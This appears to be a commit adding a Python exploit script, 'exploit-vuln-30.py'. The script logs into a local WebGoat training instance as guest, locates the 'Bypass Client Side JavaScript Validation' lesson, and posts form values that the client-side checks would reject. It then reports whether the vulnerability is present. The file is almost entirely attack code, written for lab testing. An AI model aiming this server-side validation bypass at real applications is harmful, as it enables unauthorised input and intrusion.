new_contents: import requests
  import json
  
  payload = {
  	'username': 'guest',
  	'password': 'guest'
  }
  
  attack_payload = {
  	'field1': 'abc@',
  	'field2': '123@',
  	'field3': 'abc+123+ABC@',
  	'field4': 'seven@',
  	'field5': '90210@',
  	'field6': '90210-1111@',
  	'field7': '301-604-4882@'
  }
  
  login_url = 'http://127.0.0.1:8080/WebGoat/login.mvc'
  post_url = 'http://127.0.0.1:8080/WebGoat/j_spring_security_check'
  
  session = requests.Session()
  
  login_page = session.get(login_url)
  logging = session.post(post_url, data=payload)
  
  if logging.status_code == 200 :
  
  	menu_url = 'http://127.0.0.1:8080/WebGoat/service/lessonmenu.mvc'
  	menu = session.get(menu_url)
  	parse_menu = menu.json()
  
  	attack = 'Bypass Client Side JavaScript Validation'
  	attack_start = menu.text.find(attack)
  	attack_after_screen = menu.text.find('Screen', attack_start)
  	screen_menu = menu.text[attack_after_screen: attack_after_screen + 21]
  	attack_url = 'http://127.0.0.1:8080/WebGoat/attack?' + screen_menu
  	attack_page = session.get(attack_url)
  	now_attack = session.post(attack_url, data=attack_payload)
  
  	attack_successful = 'Congratulations. You have successfully completed this lesson'
  	now_attack.text.find(attack_successful)
  
  if now_attack.text.find(attack_successful) == -1 :
  	print 'vuln-30 not present'
  else :
  	print 'vuln-30 is present'
  	
  
subject: Create exploit-vuln-30.py